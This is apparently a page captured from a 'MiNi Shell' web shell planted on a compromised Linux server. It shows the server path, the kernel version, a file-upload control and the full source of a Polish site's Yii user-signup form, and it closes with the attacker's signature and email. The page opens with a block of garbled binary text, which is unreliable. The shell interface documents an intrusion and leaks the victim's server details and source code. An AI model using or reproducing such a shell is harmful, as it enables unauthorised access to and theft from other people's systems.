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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/models/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/models/UserSignupForm.php

<?php
namespace frontend\models;

use Yii;
use yii\base\Model;
use common\components\validators\CountValidator;
use common\components\validators\Password;
use common\models\Users;
use common\models\UsersContactData;
use common\models\UsersAddresses;
use common\models\UsersHasPortals;
use common\models\Companies;
use common\models\CompaniesContactData;
use common\models\CompaniesInvoicingData;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\CompaniesPresentationsHasPresentationsTags;
use common\models\PresentationsPackages;
use common\models\PresentationsTabs;
use common\models\PresentationsTags;
use common\models\Countries;
use common\models\Emails;
use common\models\Portals;
use common\models\GeoPna;
use common\models\types\Status;
use common\models\types\CompanyUsageStatus;
use common\models\types\ContactDataType;
use common\models\types\UserProfile;
use common\models\BusinessSectors;
use common\models\ShoppingAddressBook;
use common\models\ShoppingDataToAccount;

/**
 * Signup form
 */
class UserSignupForm extends Model
{
    public $login;
    public $password;
    public $password_retype;
    public $forename;
    public $surname;
    public $email;
    public $mobile_phone;
    public $avatar_filename;
    
    public $fileAvatar;

    public $or_company;
    public $company_name;
    public $id_country;
    public $locality;
    public $postcode;
    public $region;
    public $street;
    public $building_number;
    public $apartment_number;
    public $www;
    public $tax_id;
    public $logo_filename;
    
    public $fileLogo;
    
    public $accept_rules;
    public $captcha;
    
    protected $lat;
    protected $lng;
    
    protected $registrationReferrerUrl;
    
    /**
     * @inheritdoc
     */
    public function rules()
    {      
        return [
            ['login', 'required'],
            ['login', 'string', 'min' => 3, 'max' => 60],
            ['login', 'unique', 'targetClass' => '\common\models\Users', 'targetAttribute' => 'login'],
                        
            ['password', 'required'],
            ['password', 'string', 'min' => 8, 'max' => 30],
            ['password', Password::className(), 'minStrength' => 3],
            
            ['password_retype', 'required'],
            ['password_retype', 'string', 'min' => 8, 'max' => 30],
            ['password_retype', 'compare', 'compareAttribute' => 'password'],
            
            ['forename', 'required'],
            ['forename', 'string', 'min' => 2, 'max' => 30],
            
            ['surname', 'required'],
            ['surname', 'string', 'min' => 2, 'max' => 40],
            
            ['email', 'required'],
            ['email', 'string', 'min' => 6, 'max' => 60],
            ['email', 'email'],
            
            ['mobile_phone', 'required'],
            [
                'mobile_phone', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'mobile_phone', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
            
            ['avatar_filename', 'default'],
            ['avatar_filename', 'string', 'min' => 5, 'max' => 255],
            
            ['fileAvatar', 'file', 'extensions' => array('jpg', 'gif', 'png'), 'maxFiles' => 1, 'maxSize' => 204800, 'checkExtensionByMimeType' => true, 'skipOnEmpty' => true],
            
            ['or_company', 'default', 'value' => 0],
            ['or_company', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
            
            ['company_name', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['company_name', 'string', 'min' => 3, 'max' => 255],
            
            ['id_country', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['id_country', 'string', 'min' => 2, 'max' => 2],
            ['id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
            
            ['locality', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['locality', 'string', 'min' => 3, 'max' => 60],
            
            ['postcode', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['postcode', 'string', 'max' => 10],
            
            ['region', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['region', 'string', 'min' => 3, 'max' => 60],
            
            ['street', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['street', 'string', 'min' => 3, 'max' => 80],
            
            ['building_number', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['building_number', 'string', 'max' => 15],
            
            ['apartment_number', 'default', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['apartment_number', 'string', 'max' => 10],

            ['www', 'default'],
            ['www', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
            
            ['tax_id', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.querySelector('#usersignupform-or_company input[name=\"UserSignupForm[or_company]\"]:checked').value == 1; }"],
            ['tax_id', 'string', 'min' => 10, 'max' => 30],
            
            ['logo_filename', 'default'],
            ['logo_filename', 'string', 'min' => 5, 'max' => 255],

            ['fileLogo', 'file', 'extensions' => array('jpg', 'gif', 'png'), 'maxFiles' => 1, 'maxSize' => 204800, 'checkExtensionByMimeType' => true, 'skipOnEmpty' => true],
            
            
            
            ['accept_rules', 'required', 'message' => \Yii::t('frontend', 'Aby dokończyć rejestrację pole musi być zaznaczone.')],
            
            ['captcha', 'required'],
            ['captcha', 'captcha', 'captchaAction' => 'index/captcha-user'],            

        ];
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'forename' => 'Imię',
            'surname' => 'Nazwisko',
            'email' => 'E-mail',
            'mobile_phone' => 'Telefon',
            'login' => 'Nazwa użytkownika',
            'password' => 'Hasło',
            'password_retype' => 'Powtórz hasło',            
            'avatar_filename' => 'Avatar',
            'fileAvatar' => 'Avatar',
            
            'or_company' => 'Rajestruj jako',
            'company_name' => 'Nazwa firmy',
            'id_country' => 'Kraj',
            'postcode' => 'Kod pocztowy',
            'region' => 'Województwo',
            'locality' => 'Miejscowość',
            'street' => 'Ulica',
            'building_number' => 'Nr budynku',
            'apartment_number' => 'Nr lokalu',
            'www' => 'Strona WWW',
            'tax_id' => 'NIP',
            'logo_filename' => 'Logo firmy',
            'fileLogo' => 'Logo firmy',
            
            'accept_rules' => 'Zapoznałam/em się z regulaminem.',
            'captcha' => 'Przepisz kod z obrazka',
        ];
    }
    
    public function setRegistrationReferrerUrl($registrationReferrerUrl)
    {
        $this->registrationReferrerUrl = $registrationReferrerUrl;
    }
    
    public function getRegistrationReferrerUrl()
    {
        return $this->registrationReferrerUrl;
    }
    
    public function loadAvatarFile()
    {
        $this->fileAvatar = \yii\web\UploadedFile::getInstance($this, 'fileAvatar');
        if($this->fileAvatar) {
            $this->avatar_filename = Users::createAvatarFileName($this->fileAvatar->baseName, $this->fileAvatar->extension);
        }
    }
    
    protected function saveAvatarFile($idUser)
    {
        $newImagePath = null;
        if($this->fileAvatar) {
            $dir = Yii::getAlias('@usersImagesRealPath').'/'.$idUser.'/';
            if(!file_exists($dir)) {
                mkdir($dir, 0777, true);
            }
            $newImagePath = $dir.$this->avatar_filename;

            if(!$this->fileAvatar->saveAs($newImagePath)) {
                return false;
            } 
        }
        
        return $newImagePath;
    }
    
    public function loadLogoFile()
    {
        $this->fileLogo = \yii\web\UploadedFile::getInstance($this, 'fileLogo');
        if($this->fileLogo) {
            $this->logo_filename = Companies::createLogoFileName($this->fileLogo->baseName, $this->fileLogo->extension);
        }
    }
    
    protected function saveLogoFile($idCompany)
    {
        $newImagePath = null;
        if($this->fileLogo) {
            $dir = Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/';
            if(!file_exists($dir)) {
                mkdir($dir, 0777, true);
            }
            $newImagePath = $dir.$this->logo_filename;

            if(!$this->fileLogo->saveAs($newImagePath)) {
                return false;
            } 
        }
        
        return $newImagePath;
    }
    
    public function create()
    {
        $transaction = Yii::$app->db->beginTransaction();
        
        //tworzenie wpisu w tabeli users        
        $idUser = $this->createUser();
        if(!$idUser) {
            $transaction->rollBack();
            return false;
        }
        
        //tworzenie wpisów w tabeli users_contact_data
        $idsUserContactData = $this->createUserContactData($idUser);
        if($idsUserContactData === false) {
            $transaction->rollBack();
            return false;
        }
        
        //tworzenie wpisu w tabeli users_address
        $idUserAddress = $this->createUserAddress($idUser);
        if($idUserAddress === false) {
            $transaction->rollBack();
            return false;
        }
        
        //tworzenie wpisu w tabeli shopping_address_book
        $idUserShippingAddress = $this->createUserShippingAddress($idUser);
        if($idUserShippingAddress === false) {
            $transaction->rollBack();
            return false;
        }
        
        //tworzenie wpisu w tabeli shopping_data_to_account
        $idUserShoppingDataToAccount = $this->createUserShoppingDataToAccount($idUser);
        if($idUserShoppingDataToAccount === false) {
            $transaction->rollBack();
            return false;
        }
        
        if(!empty($this->or_company)) {
            //tworzenie wpisu w tabeli companies        
            $idCompany = $this->createCompany($idUser);
            if(!$idCompany) {
                $transaction->rollBack();
                return false;
            } 
            
            //tworzenie wpisu w tabeli companies_has_languages
            $flag = $this->createCompanyLanguages($idCompany);
            if(!$flag) {
                $transaction->rollBack();
                return false;
            }

            //tworzenie wpisu w tabeli companies_invoicing_data
            $idCompanyInvoicingData = $this->createCompanyInvoicingData($idCompany);
            if(!$idCompanyInvoicingData) {
                $transaction->rollBack();
                return false;
            } 
            
            //tworzenie wpisów w tabeli companies_contact_data
            $idsCompanyContactData = $this->createCompanyContactData($idCompany);
            if($idsCompanyContactData === false) {
                $transaction->rollBack();
                return false;
            }
            
            //tworzenie wpisu w tabeli shopping_address_book
            $idCompanyShippingAddress = $this->createCompanyShippingAddress($idUser, $idCompany);
            if(!$idCompanyShippingAddress) {
                $transaction->rollBack();
                return false;
            } 
            
            //tworzenie wpisu w tabeli shopping_data_to_account
            $idCompanyShoppingDataToAccount = $this->createCompanyShoppingDataToAccount($idUser, $idCompany);
            if($idCompanyShoppingDataToAccount === false) {
                $transaction->rollBack();
                return false;
            }
            
        } else {
            $idCompany = null;
        }

        $flag = UsersHasPortals::setActivity($idUser, Yii::$app->params['modelPortal']->id_portal);
        if($flag === false) {
            $transaction->rollBack();
            return false;
        }

        //tworzenie klucza umożliwiające aktywację konta
        $modelUsersActivations = \common\models\UsersActivations::generate($idUser, $this->registrationReferrerUrl);
        if(empty($modelUsersActivations)) {
            $transaction->rollBack();
            return false;
        }
        
        $this->saveAvatarFile($idUser);
        if($idCompany) {
            $this->saveLogoFile($idCompany);
        }
        
//        $role = Yii::$app->authManager->getRole(empty($idCompany) ? UserProfile::USER : UserProfile::COMPANY);
//        Yii::$app->authManager->assign($role, $idUser);
        
        $transaction->commit();
        return $modelUsersActivations;
    }
    
    protected function createUser()
    {
        $modelUser = new Users(['scenario' => 'create']);
        $modelUser->login = $this->login;
        $modelUser->generateHashPassword($this->password);
        $modelUser->generateAuthKey();
        if(!empty($this->avatar_filename)) {
            $modelUser->avatar_filename = $this->avatar_filename; 
        }
        $modelUser->forename = $this->forename;
        $modelUser->surname = $this->surname;
        $modelUser->status = Status::INACTIVE;
        $modelUser->profile = empty($this->or_company) ? UserProfile::USER : UserProfile::COMPANY;
        $modelUser->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForUser']];
        if(!$modelUser->validate() || !$modelUser->save(false)) {  
            return false;
        } 
        
        return $modelUser->id_user;
    }
    
    protected function createUserContactData($idUser)
    {
        $labelsForContactDataTypes = ContactDataType::getValuesWithLabels();
        $idsCompanyContactData = [];
        
        $emailPurposes = [];
        foreach(Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $modelUserContactData = new UsersContactData(['scenario' => 'create']);
        $modelUserContactData->id_user = $idUser;
        $modelUserContactData->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
        $modelUserContactData->data_value = $this->email;
        $modelUserContactData->data_type = ContactDataType::EMAIL;
        $modelUserContactData->data_order = 1;
        $modelUserContactData->required = 1;
//        $modelUserContactData->settings = json_encode(['purposes' => $emailPurposes]);
        $modelUserContactData->settings = ['purposes' => $emailPurposes]; //#JSON-hack#
        if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {  
            return false;
        } 
        $idsCompanyContactData[] = $modelUserContactData->id_contact_data;
        
        
        $modelUserContactData = new UsersContactData(['scenario' => 'create']);
        $modelUserContactData->id_user = $idUser;
        $modelUserContactData->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE]);
        $modelUserContactData->data_value = $this->mobile_phone;
        $modelUserContactData->data_type = ContactDataType::MOBILE_PHONE;
        $modelUserContactData->data_order = 2;
        $modelUserContactData->required = 1;
        if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {  
            return false;
        } 
        $idsCompanyContactData[] = $modelUserContactData->id_contact_data;
        
        return $idsCompanyContactData;
    }
    
    protected function createUserAddress($idUser)
    {        
        if(empty($this->id_country) || empty($this->street) || empty($this->building_number) || empty($this->postcode) || empty($this->locality) || empty($this->region)) {
            return true;
        }
        
        $modelUserAddress = new UsersAddresses(['scenario' => 'create']);
        $modelUserAddress->or_main = 1;
        $modelUserAddress->id_user = $idUser;        
        $modelUserAddress->label = Yii::t('frontend', 'Główny adres');
        $modelUserAddress->id_country = $this->id_country;
        $modelUserAddress->street = $this->street;
        $modelUserAddress->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelUserAddress->apartment_number = $this->apartment_number;
        }
        $modelUserAddress->postcode = $this->postcode;
        $modelUserAddress->locality = $this->locality;
        $modelUserAddress->region = $this->region;
        if($this->determineLatAndLng()) {
            $modelUserAddress->lat = $this->lat;
            $modelUserAddress->lng = $this->lng;
        }
        
        if(!$modelUserAddress->validate() || !$modelUserAddress->save(false)) {
            return false;
        } 
        
        return $modelUserAddress->id_address;
    }
    
    protected function createUserShippingAddress($idUser)
    {        
        if(empty($this->id_country) || empty($this->street) || empty($this->building_number) || empty($this->postcode) || empty($this->locality)) {
            return true;
        }
        
        $modelUserShoppingAddress = new ShoppingAddressBook(['scenario' => 'createOwn']);
        $modelUserShoppingAddress->or_main = 1;
        $modelUserShoppingAddress->id_user = $idUser; 
        $modelUserShoppingAddress->forename = $this->forename;
        $modelUserShoppingAddress->surname = $this->surname;
        $modelUserShoppingAddress->email = $this->email;
        $modelUserShoppingAddress->phone = $this->mobile_phone;        
        $modelUserShoppingAddress->id_country = $this->id_country;
        $modelUserShoppingAddress->street = $this->street;
        $modelUserShoppingAddress->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelUserShoppingAddress->apartment_number = $this->apartment_number;
        }
        $modelUserShoppingAddress->postcode = $this->postcode;
        $modelUserShoppingAddress->locality = $this->locality;
        
        
        if(!$modelUserShoppingAddress->validate() || !$modelUserShoppingAddress->save(false)) {
            return false;
        } 
        
        return $modelUserShoppingAddress->id_address;
    }
    
    protected function createUserShoppingDataToAccount($idUser)
    {
        if(empty($this->id_country) || empty($this->street) || empty($this->building_number) || empty($this->postcode) || empty($this->locality)) {
            return true;
        }
        
        $modelUserShoppingDataToAccount = new ShoppingDataToAccount(['scenario' => 'createOwn']);
        $modelUserShoppingDataToAccount->or_main = 1;
        $modelUserShoppingDataToAccount->id_user = $idUser; 
        $modelUserShoppingDataToAccount->name = $this->forename.' '.$this->surname;    
        $modelUserShoppingDataToAccount->id_country = $this->id_country;
        $modelUserShoppingDataToAccount->street = $this->street;
        $modelUserShoppingDataToAccount->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelUserShoppingDataToAccount->apartment_number = $this->apartment_number;
        }
        $modelUserShoppingDataToAccount->postcode = $this->postcode;
        $modelUserShoppingDataToAccount->locality = $this->locality;
        
        
        if(!$modelUserShoppingDataToAccount->validate() || !$modelUserShoppingDataToAccount->save(false)) {
            return false;
        } 
        
        return $modelUserShoppingDataToAccount->id_data;
    }
    
    protected function createCompany($idUser)
    {
        if(empty($this->or_company)) {
            return true;
        }
        
        $modelCompany = new Companies(['scenario' => 'create']);
        $modelCompany->id_user = $idUser;
        $modelCompany->id_country = $this->id_country;
        if(!empty($this->logo_filename)) {
            $modelCompany->logo_filename = $this->logo_filename; 
        }
        $modelCompany->name = $this->company_name;
        $modelCompany->street = $this->street;
        $modelCompany->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelCompany->apartment_number = $this->apartment_number;
        }
        $modelCompany->postcode = $this->postcode;
        $modelCompany->locality = $this->locality;
        $modelCompany->region = $this->region;
        $modelCompany->status = Status::INACTIVE;
        $modelCompany->usage_status = CompanyUsageStatus::UNUSED; 
        if($this->determineLatAndLng()) {
            $modelCompany->lat = $this->lat;
            $modelCompany->lng = $this->lng;
        }
        $modelCompany->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForCompany']];
        if(!$modelCompany->validate() || !$modelCompany->save(false)) { 
            return false;
        }   
        
        return $modelCompany->id_company;
    }
    
    protected function createCompanyLanguages($idCompany)
    {
        $modelCompanyHasLanguage = new \common\models\CompaniesHasLanguages(['scenario' => 'create']);
        $modelCompanyHasLanguage->id_company = $idCompany;
        $modelCompanyHasLanguage->id_language = $this->id_country === 'PL' ? 'pl' : 'en';
        
        if(!$modelCompanyHasLanguage->validate() || !$modelCompanyHasLanguage->save(false)) { 
            return false;
        } 
        
        return true;
    }
    
    protected function createCompanyInvoicingData($idCompany)
    {
        if(empty($this->or_company)) {
            return true;
        }
        
        $modelCompanyInvoicingData = new CompaniesInvoicingData(['scenario' => 'create']);
        $modelCompanyInvoicingData->id_company = $idCompany;        
        $modelCompanyInvoicingData->name = $this->company_name;
        $modelCompanyInvoicingData->id_country = $this->id_country;
        $modelCompanyInvoicingData->street = $this->street;
        $modelCompanyInvoicingData->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelCompanyInvoicingData->apartment_number = $this->apartment_number;
        }
        $modelCompanyInvoicingData->postcode = $this->postcode;
        $modelCompanyInvoicingData->locality = $this->locality;
        $modelCompanyInvoicingData->tax_id = $this->tax_id;
        $modelCompanyInvoicingData->or_main = 1;
        
        if(!$modelCompanyInvoicingData->validate() || !$modelCompanyInvoicingData->save(false)) {
            return false;
        } 
        
        return $modelCompanyInvoicingData->id_invoicing_data;
    }
    
    protected function createCompanyContactData($idCompany)
    {
        if(empty($this->or_company)) {
            return true;
        }
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        $idsCompanyContactData = [];
        $order = 1;
        if(!empty($this->email)) {
            $emailPurposes = [];
            foreach(Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 1;
            }
            $emailPurposes['or_contact_person'] = 0;
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL];
            $modelCompanyContactData->data_value = $this->email;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::EMAIL;
            $modelCompanyContactData->required = 1;
//            $modelCompanyContactData->settings = json_encode(['purposes' => $emailPurposes]);
            $modelCompanyContactData->settings = ['purposes' => $emailPurposes]; //#JSON-hack#
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
              
        if(!empty($this->mobile_phone)) {
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
            $modelCompanyContactData->data_value = $this->mobile_phone;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::MOBILE_PHONE;
            $modelCompanyContactData->required = 1;
            $modelCompanyContactData->settings = '{}';
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
        if(!empty($this->www)) {
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::WWW];
            $modelCompanyContactData->data_value = $this->www;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::WWW;
            $modelCompanyContactData->required = 0;
            $modelCompanyContactData->settings = '{}';
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
        
        return $idsCompanyContactData;
    }    
    
    protected function createCompanyShippingAddress($idUser, $idCompany)
    {        
        if(empty($this->id_country) || empty($this->street) || empty($this->building_number) || empty($this->postcode) || empty($this->locality)) {
            return true;
        }
        
        $modelCompanyShoppingAddress = new ShoppingAddressBook(['scenario' => 'createOwn']);
        $modelCompanyShoppingAddress->or_main = 1;
        $modelCompanyShoppingAddress->id_user = $idUser; 
        $modelCompanyShoppingAddress->id_company = $idCompany; 
        $modelCompanyShoppingAddress->forename = $this->forename;
        $modelCompanyShoppingAddress->surname = $this->surname;
        $modelCompanyShoppingAddress->company_name = $this->company_name;
        $modelCompanyShoppingAddress->email = $this->email;
        $modelCompanyShoppingAddress->phone = $this->mobile_phone;        
        $modelCompanyShoppingAddress->id_country = $this->id_country;
        $modelCompanyShoppingAddress->street = $this->street;
        $modelCompanyShoppingAddress->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelCompanyShoppingAddress->apartment_number = $this->apartment_number;
        }
        $modelCompanyShoppingAddress->postcode = $this->postcode;
        $modelCompanyShoppingAddress->locality = $this->locality;
        
        
        if(!$modelCompanyShoppingAddress->validate() || !$modelCompanyShoppingAddress->save(false)) {
            return false;
        } 
        
        return $modelCompanyShoppingAddress->id_address;
    }
    
    protected function createCompanyShoppingDataToAccount($idUser, $idCompany)
    {
        if(empty($this->id_country) || empty($this->street) || empty($this->building_number) || empty($this->postcode) || empty($this->locality)) {
            return true;
        }
        
        $modelCompanyShoppingDataToAccount = new ShoppingDataToAccount(['scenario' => 'createOwn']);
        $modelCompanyShoppingDataToAccount->or_main = 1;
        $modelCompanyShoppingDataToAccount->id_user = $idUser; 
        $modelCompanyShoppingDataToAccount->id_company = $idCompany; 
        $modelCompanyShoppingDataToAccount->name = $this->company_name;
        $modelCompanyShoppingDataToAccount->tax_id = $this->tax_id;       
        $modelCompanyShoppingDataToAccount->id_country = $this->id_country;
        $modelCompanyShoppingDataToAccount->street = $this->street;
        $modelCompanyShoppingDataToAccount->building_number = $this->building_number;
        if(!empty($this->apartment_number)) {
            $modelCompanyShoppingDataToAccount->apartment_number = $this->apartment_number;
        }
        $modelCompanyShoppingDataToAccount->postcode = $this->postcode;
        $modelCompanyShoppingDataToAccount->locality = $this->locality;
        
        
        if(!$modelCompanyShoppingDataToAccount->validate() || !$modelCompanyShoppingDataToAccount->save(false)) {
            return false;
        } 
        
        return $modelCompanyShoppingDataToAccount->id_data;
    }
    
    protected function determineLatAndLng()
    {
        if(!empty($this->lat)) {
            return true;
        }
        
        $address = $this->street.' '.$this->building_number.', '.$this->postcode.' '.$this->locality.', '.$this->region;        
        $googleMapsData = json_decode(file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false'));
        if($googleMapsData->status == 'OK') {
            foreach ($googleMapsData->results as $res) {
                if (isset($res->geometry) && isset($res->geometry->location)) { 
                    if($res->geometry->location->lat != 51.919438 && $res->geometry->location->lng != 19.145136) {        
                        $this->lat = $res->geometry->location->lat;
                        $this->lng = $res->geometry->location->lng;
                        return true;
                    }
                }
            }
        }
        
        $pna = GeoPna::find()->select(['lat', 'lng'])->where(['postcode' => $this->postcode])->asArray()->one();
        if($pna !== null) {
            $this->lat = $pna['lat'];
            $this->lng = $pna['lng'];
            return true;
        }
        
        return false;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com